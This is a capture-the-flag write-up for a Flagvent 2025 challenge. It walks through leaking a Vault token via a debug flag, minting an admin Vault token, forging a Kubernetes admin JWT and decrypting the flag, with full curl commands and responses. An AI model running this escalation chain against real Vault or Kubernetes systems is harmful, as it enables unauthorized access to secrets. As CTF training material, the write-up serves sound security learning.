Flagvent 2025: Day 13
FV25.13 - Santa's Secret Vault
Difficulty
leet
Categories
misc linux crypto
Description
we heard you don't like pwn, try this instead
Author
cfi2017, coderionSolution
Investigation
Upon starting the challenge, two endpoints were exposed: a frontend endpoint and a secrets endpoint.
The frontend endpoint serves the Santa’s Secret Vault website:

On the website, we can create a wish with a specific wish ID, such as mo-test. The wish must also include a secret message, such as test. After submitting the wish, we notice it appears in the 📜 Sealed Vault Secrets section:

The secret message is encrypted. In our case, it is: vault:v1:fYDXNeu450gQURNoOvbgo9/fOBWKpjjPeNbktZahJhY=. From past experience, we recognise this as the format used by Vault’s Transit secrets engine, which provides encryption as a service. On the secrets endpoint, hitting /v1/sys/health showed the service reporting version 2.4.4, which aligns with OpenBao (a Vault-compatible fork) rather than HashiCorp Vault’s versioning.
Notably, the Sealed Vault is initially empty. At this point, we suspected the flag was encrypted and stored elsewhere.
We observe two notable APIs that the frontend calls:
/apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets
We can call both endpoints directly, which we use to seal new secrets and retrieve them. Note that we are using the default Kubernetes namespace. Our hunch was that the secret containing the flag might be in another namespace, but brute-forcing common namespaces did not yield any results.
Next, we tried the cluster-scoped endpoints:
/apis/ctf.flagvent.org/v1alpha1/notes/apis/ctf.flagvent.org/v1alpha1/secrets
Unfortunately, we receive a 403 Forbidden error.
There is an OpenAPI spec available at /openapi/v2 (discovered by running feroxbuster against the frontend). Visiting /version gives us:
{
"major": "1",
"minor": "34",
"emulationMajor": "1",
"emulationMinor": "34",
"minCompatibilityMajor": "1",
"minCompatibilityMinor": "33",
"gitVersion": "v1.34.1+k3s1",
"gitCommit": "24fc436e6ea59c56ebc37727baa4e6c9a201ee01",
"gitTreeState": "clean",
"buildDate": "2025-09-22T23:13:24Z",
"goVersion": "go1.24.6",
"compiler": "gc",
"platform": "linux/amd64"
}This reveals that the API is backed by k3s v1.34. (https://github.com/k3s-io/k3s)
To make life easier when constructing cURL requests, we set some environment variables:
FRONTEND="https://4cd58603-4f45-4992-bcf9-861beab1efe2.challs.flagvent.org:31337"
SECRETS="https://c825f25f-4ca1-4c8a-8cbd-cd5dc568ad66.challs.flagvent.org:31337"Vault Token Leak via debug Parameter
At this point, we queried the selfsubjectrulesreviews endpoint to understand which actions our current identity (anonymous) is allowed to perform:
curl -k -X POST "$FRONTEND/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "authorization.k8s.io/v1",
"kind": "SelfSubjectRulesReview",
"spec": {
"namespace": "default"
}
}'Which returns:
{
"kind": "SelfSubjectRulesReview",
"apiVersion": "authorization.k8s.io/v1",
"metadata": {},
"spec": {},
"status": {
"resourceRules": [
{
"verbs": [
"create"
],
"apiGroups": [
"authorization.k8s.io"
],
"resources": [
"selfsubjectaccessreviews",
"selfsubjectrulesreviews"
]
},
{
"verbs": [
"create"
],
"apiGroups": [
"authentication.k8s.io"
],
"resources": [
"selfsubjectreviews"
]
},
{
"verbs": [
"create",
"get",
"list",
"watch"
],
"apiGroups": [
"ctf.flagvent.org"
],
"resources": [
"notes"
]
},
{
"verbs": [
"get",
"list",
"watch"
],
"apiGroups": [
"ctf.flagvent.org"
],
"resources": [
"secrets"
]
}
],
"nonResourceRules": [
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/api",
"/api/*",
"/apis",
"/apis/*",
"/healthz",
"/livez",
"/openapi",
"/openapi/*",
"/readyz",
"/version",
"/version/"
]
},
{
"verbs": [
"get"
],
"nonResourceURLs": [
"/healthz",
"/livez",
"/readyz",
"/version",
"/version/"
]
}
],
"incomplete": false
}
}From this, we can see that we are able to:
- Create and retrieve
/notes - Retrieve
/secrets - Access general API and health endpoints
We then spent some time researching potential vulnerabilities we could exploit. Several resources suggest checking whether debug output is enabled on the APIs you are interacting with. With that in mind, we attempted to create a note called mo-debug-test with debug set to true in the spec:
curl -k -X POST "$FRONTEND/apis/ctf.flagvent.org/v1alpha1/namespaces/default/notes" \
-H "Content-Type: application/json" \
-d '{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Note",
"metadata": {
"name": "mo-debug-test",
"namespace": "default"
},
"spec": {
"message": "test",
"debug": true
}
}'The request succeeds. We verify this by retrieving the secret we just created:
curl "$FRONTEND/apis/ctf.flagvent.org/v1alpha1/namespaces/default/secrets/mo-debug-test" \
-H "Content-Type: application/json"This returns:
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Secret",
"metadata": {
"creationTimestamp": "2025-12-31T09:16:34Z",
"generation": 1,
"managedFields": [
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:spec": {
".": {},
"f:ciphertext": {},
"f:transitKey": {},
"f:transitMount": {}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"time": "2025-12-31T09:16:34Z"
},
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:status": {
".": {},
"f:createdAt": {},
"f:debug": {
".": {},
"f:note": {},
"f:vaultRequest": {
".": {},
"f:body": {
".": {},
"f:plaintext": {}
},
"f:headers": {
".": {},
"f:Content-Type": {},
"f:X-Vault-Token": {}
},
"f:method": {},
"f:path": {},
"f:url": {}
}
},
"f:sourceNote": {
".": {},
"f:name": {},
"f:namespace": {}
}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"subresource": "status",
"time": "2025-12-31T09:16:34Z"
}
],
"name": "mo-debug-test",
"namespace": "default",
"resourceVersion": "618",
"uid": "7d26d061-f3c1-48d8-8a34-dddded3e0277"
},
"spec": {
"ciphertext": "vault:v1:eDGYH1WHtKuplWRppUg56WlcYnSJAK+RvOyzVPfAhg8=",
"transitKey": "ctf",
"transitMount": "transit"
},
"status": {
"createdAt": "2025-12-31T09:16:34.956647+00:00",
"debug": {
"note": "Debug should not be used in production.",
"vaultRequest": {
"body": {
"plaintext": "dGVzdA=="
},
"headers": {
"Content-Type": "application/json",
"X-Vault-Token": "sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc"
},
"method": "POST",
"path": "/v1/transit/encrypt/ctf",
"url": "http://secrets:8208/v1/transit/encrypt/ctf"
}
},
"sourceNote": {
"name": "mo-debug-test",
"namespace": "default"
}
}
}We see the debug notice, Debug should not be used in production!. We also see the base64-encoded plaintext, dGVzdA==, which decodes to test.
More importantly, the application has leaked the X-Vault-Token: sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc. This is a privileged token used to communicate with http://secrets:8208/v1/transit/encrypt/ctf to encrypt notes.
We now also know that the secrets endpoint ($SECRETS) is running a Vault API under /v1.
Privilege escalation to an Admin Vault Token
First, we set the VAULT_TOKEN environment variable to make subsequent commands easier to manage.
VAULT_TOKEN="sk-nb2hi4dthixs653xo4xhs33vor2wezjomnxw2l3xmf2gg2b7oy6wiulxgr3tsv3hlbrvc"We then called the sys/internal/ui/resultant-acl API to determine which permissions our Vault token has:
curl -ksS \
"$SECRETS/v1/sys/internal/ui/resultant-acl" \
-H "X-Vault-Token: $VAULT_TOKEN" | jq .This returns:
{
"request_id": "49d59a6a-74c0-8f5e-80a3-47e41bc5a398",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"exact_paths": {
"auth/token/create": {
"capabilities": [
"sudo",
"update"
]
},
"auth/token/lookup-self": {
"capabilities": [
"read"
]
},
"auth/token/renew-self": {
"capabilities": [
"update"
]
},
"auth/token/revoke-self": {
"capabilities": [
"update"
]
},
"sys/capabilities-self": {
"capabilities": [
"update"
]
},
"sys/internal/ui/resultant-acl": {
"capabilities": [
"read"
]
},
"sys/leases/lookup": {
"capabilities": [
"update"
]
},
"sys/leases/renew": {
"capabilities": [
"update"
]
},
"sys/policies/acl": {
"capabilities": [
"list"
]
},
"sys/renew": {
"capabilities": [
"update"
]
},
"sys/tools/hash": {
"capabilities": [
"update"
]
},
"sys/wrapping/lookup": {
"capabilities": [
"update"
]
},
"sys/wrapping/unwrap": {
"capabilities": [
"update"
]
},
"sys/wrapping/wrap": {
"capabilities": [
"update"
]
},
"transit/encrypt/ctf": {
"capabilities": [
"update"
]
},
"transit/keys/ctf": {
"capabilities": [
"read"
]
}
},
"glob_paths": {
"cubbyhole/": {
"capabilities": [
"create",
"delete",
"list",
"read",
"update"
]
},
"sys/policies/acl/": {
"capabilities": [
"read"
]
},
"sys/tools/hash/": {
"capabilities": [
"update"
]
}
},
"root": false
},
"wrap_info": null,
"warnings": null,
"auth": null
}It looks like we have permission to encrypt (via transit/encrypt/ctf), but no permission to decrypt (presumably via transit/decrypt/ctf). Fortunately, we have sudo on auth/token/create, which can enable privilege escalation if it allows us to mint a new token with stronger permissions than the current one.
Next, we enumerated the ACL policy names defined in Vault:
curl -ksS \
-X LIST "$SECRETS/v1/sys/policies/acl" \
-H "X-Vault-Token: $VAULT_TOKEN" | jq .And got:
{
"request_id": "94fdcebd-598d-c7d9-e28a-3c626b9b281a",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"keys": [
"admin",
"ctf-encrypt-only",
"default",
"root"
]
},
"wrap_info": null,
"warnings": null,
"auth": null
}We suspected that policies such as admin or root might grant elevated capabilities, so we retrieved their definitions to confirm what they allowed:
curl -ksS \
"$SECRETS/v1/sys/policies/acl/admin" \
-H "X-Vault-Token: $VAULT_TOKEN" | jq -r '.data.policy'
curl -ksS \
"$SECRETS/v1/sys/policies/acl/root" \
-H "X-Vault-Token: $VAULT_TOKEN" | jq -r '.data.policy'As it turns out, the root policy grants no capabilities , while the admin policy grants all capabilities on all paths:
path "*" {
capabilities = ["create", "read", "update", "delete", "list", "sudo"]
}With that in mind, we used sudo to create a new token with the admin policy attached:
curl -ksS -X POST \
"$SECRETS/v1/auth/token/create" \
-H "Content-Type: application/json" \
-H "X-Vault-Token: $VAULT_TOKEN" \
-d '{"policies":["admin"],"no_parent":true}' | jq -r '.auth.client_token'This returns an ADMIN_VAULT_TOKEN, which we store in an environment variable:
ADMIN_VAULT_TOKEN="s.ZgWBAH8DcJ7gwTEo9xAvn039"Using this token, we attempted to decrypt our previously encrypted note (mo-test) via /v1/transit/decrypt/ctf, which we should now have permission to access:
CIPHERTEXT="vault:v1:fYDXNeu450gQURNoOvbgo9/fOBWKpjjPeNbktZahJhY="
curl -k -sS -X POST \
"$SECRETS/v1/transit/decrypt/ctf" \
-H "Content-Type: application/json" \
-H "X-Vault-Token: $ADMIN_VAULT_TOKEN" \
-d "{\"ciphertext\":\"$CIPHERTEXT\"}" \
| jq -r '.data.plaintext' | tr -d '\r\n' | base64 -d This successfully returns test, which matches our original plaintext.
We can now decrypt any ciphertext in the vault! Our next task is to find the ciphertext containing the flag.
Creating a Kubernetes Admin Bearer Token
Our main focus was privilege escalation within the Kubernetes API so we could list cluster-scoped /secrets. We explored the frontend extensively but did not find any viable vulnerabilities.
Instead, we considered where the frontend credentials might be stored. It was possible Vault stored, or could generate, privileged access tokens for the frontend.
Using our ADMIN_VAULT_TOKEN for all requests, we listed all token roles in Vault:
curl "$SECRETS/v1/auth/token/roles?list=true" \
-H "X-Vault-Token: $ADMIN_VAULT_TOKEN" | jq .
Which returns:
{
"request_id": "4a69ffb7-1240-0ed6-6656-30776112009e",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"keys": [
"k8s-admin"
]
},
"wrap_info": null,
"warnings": null,
"auth": null
}We can see a k8s-admin token role, which is very promising!
Next, we inspected this token role in more detail:
curl -k "$SECRETS/v1/auth/token/roles/k8s-admin" \
-H "X-Vault-Token: $ADMIN_VAULT_TOKEN" | jqThis returns:
{
"request_id": "a2b8ebe3-13a2-d881-5c24-40147be55134",
"lease_id": "",
"renewable": false,
"lease_duration": 0,
"data": {
"allowed_entity_aliases": [
"cluster-admin"
],
"allowed_policies": [],
"allowed_policies_glob": [],
"disallowed_policies": [],
"disallowed_policies_glob": [],
"explicit_max_ttl": 0,
"name": "k8s-admin",
"orphan": true,
"path_suffix": "",
"period": 0,
"renewable": true,
"token_explicit_max_ttl": 0,
"token_no_default_policy": false,
"token_period": 0,
"token_type": "default-service"
},
"wrap_info": null,
"warnings": null,
"auth": null
This shows the role constraints, which in this case restrict the allowed entity aliases to cluster-admin.
Next, we minted a new Vault token using the k8s-admin token role:
curl -X POST \
"$SECRETS/v1/auth/token/create/k8s-admin" \
-H "X-Vault-Token: $ADMIN_VAULT_TOKEN" \
-H "Content-Type: application/json" \
-d '{"entity_alias": "cluster-admin"}' | jq -r '.auth.client_token' | tr -d '\r\n'We stored the resulting token in an environment variable:
K8S_ADMIN_VAULT_TOKEN="s.rT1B2m1fVhF5Xc6dBBKKd5kv"We can confirm this token has access to the k8s-admin token role:
curl -ksS \
"$SECRETS/v1/auth/token/lookup-self" \
-H "X-Vault-Token: $K8S_ADMIN_VAULT_TOKEN" \
| jq -r '.data.entity_id,.data.policies'18be957e-7bfb-e6c5-573a-ff16b2520c18
[
"admin",
"default"
]Finally, we generated a Kubernetes access token via /v1/identity/oidc/token/k8s-admin:
curl -ksS \
"$SECRETS/v1/identity/oidc/token/k8s-admin" \
-H "X-Vault-Token: $K8S_ADMIN_VAULT_TOKEN" \
| jq -r '.data.token'We set the resulting token in an environment variable:
K8S_ADMIN_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6Ijk5N2EyOWVhLWE4ODktOTEwNS1mNzJjLTRlMDQ0NGM5NjA1MyJ9.eyJhdWQiOiJrOHMiLCJleHAiOjE3NjcxNzg1MzEsImdyb3VwcyI6WyJhZG1pbiJdLCJpYXQiOjE3NjcxNzQ5MzEsImlzcyI6Imh0dHBzOi8vc2VjcmV0czo4MjAwL3YxL2lkZW50aXR5L29pZGMiLCJuYW1lc3BhY2UiOiJyb290Iiwic3ViIjoiMThiZTk1N2UtN2JmYi1lNmM1LTU3M2EtZmYxNmIyNTIwYzE4In0.vc_yx3i5WKFNMOT3qs17Anluu9qKuYzQ7NAx7iS1pdE_7Ygzw5d7cR2zb1n4JMsJkpk0W0WKoIjXTxejFLSQ7Jy2G_PRSX5LZdi0mGkDDXT6oGqEqcLAywWU7BRAYA73TC1MSz88DhIt1ApBCFylKGTHZpDZrslEXIcNhqhhTYe5CX25SPxzm6GfUNjx_2DAaW1u2urvE_2q3APYu7065bxFydgGKf2AVV8i7wUvtHTfm3tSW0AXdZGCjfzwcmMbxJ6jxS6f2Gx3OzVIhHEGKz8khZZOFarcj0RpaXA1_6uRHY6X6-o6aSs7TqEK8fynYY7YYhDBO4BIKcPgpc4jnQ"This gives us a valid JWT we can use to access the cluster. Inspecting the JWT claims, we can see we are in the admin group:
{
"aud": "k8s",
"exp": 1767178531,
"groups": [
"admin"
],
"iat": 1767174931,
"iss": "https://secrets:8200/v1/identity/oidc",
"namespace": "root",
"sub": "18be957e-7bfb-e6c5-573a-ff16b2520c18"
}It was finally time to call the frontend with our authenticated bearer token:
curl "$FRONTEND/apis/ctf.flagvent.org/v1alpha1/secrets" \
-H "Authorization: bearer $K8S_ADMIN_TOKEN" \
-H "Content-Type: application/json"This returns the cluster-scoped secrets. We can see the secrets we sealed, along with one additional secret:
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"kind": "Secret",
"metadata": {
"creationTimestamp": "2025-12-31T09:51:24Z",
"generation": 1,
"managedFields": [
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:spec": {
".": {},
"f:ciphertext": {},
"f:transitKey": {},
"f:transitMount": {}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"time": "2025-12-31T09:51:24Z"
},
{
"apiVersion": "ctf.flagvent.org/v1alpha1",
"fieldsType": "FieldsV1",
"fieldsV1": {
"f:status": {
".": {},
"f:createdAt": {},
"f:sourceNote": {
".": {},
"f:name": {},
"f:namespace": {}
}
}
},
"manager": "OpenAPI-Generator",
"operation": "Update",
"subresource": "status",
"time": "2025-12-31T09:51:24Z"
}
],
"name": "flag",
"namespace": "kube-system",
"resourceVersion": "298",
"uid": "1c8f3fd0-9acf-422a-a5b0-afee3276f3af"
},
"spec": {
"ciphertext": "vault:v1:QiYFXEQAkP3sUFbwraBH2Yl9qsYK5FPOIuXF46o/ZaZ5bjom2bQ263v6FUuHdAZchnDx6n4ZDUQFOtxx",
"transitKey": "ctf",
"transitMount": "transit"
},
"status": {
"createdAt": "2025-12-31T09:51:24.863249+00:00",
"sourceNote": {
"name": "flag",
"namespace": "kube-system"
}
}
}The flag secret in the kube-system namespace was exactly what we were looking for. Its ciphertext is vault:v1:QiYFXEQAkP3sUFbwraBH2Yl9qsYK5FPOIuXF46o/ZaZ5bjom2bQ263v6FUuHdAZchnDx6n4ZDUQFOtxx, and we were able to decrypt it using our ADMIN_VAULT_TOKEN from earlier!
CIPHERTEXT="vault:v1:QiYFXEQAkP3sUFbwraBH2Yl9qsYK5FPOIuXF46o/ZaZ5bjom2bQ263v6FUuHdAZchnDx6n4ZDUQFOtxx"
curl -ksS -X POST \
"$SECRETS/v1/transit/decrypt/ctf" \
-H "Content-Type: application/json" \
-H "X-Vault-Token: $ADMIN_VAULT_TOKEN" \
-d "{\"ciphertext\":\"$CIPHERTEXT\"}" \
| jq -r '.data.plaintext' | tr -d '\r\n' | base64 -d Running this command returns the daily flag!
Flag:
FV25{w0w_such_4_d3v0ps_3ngin33r}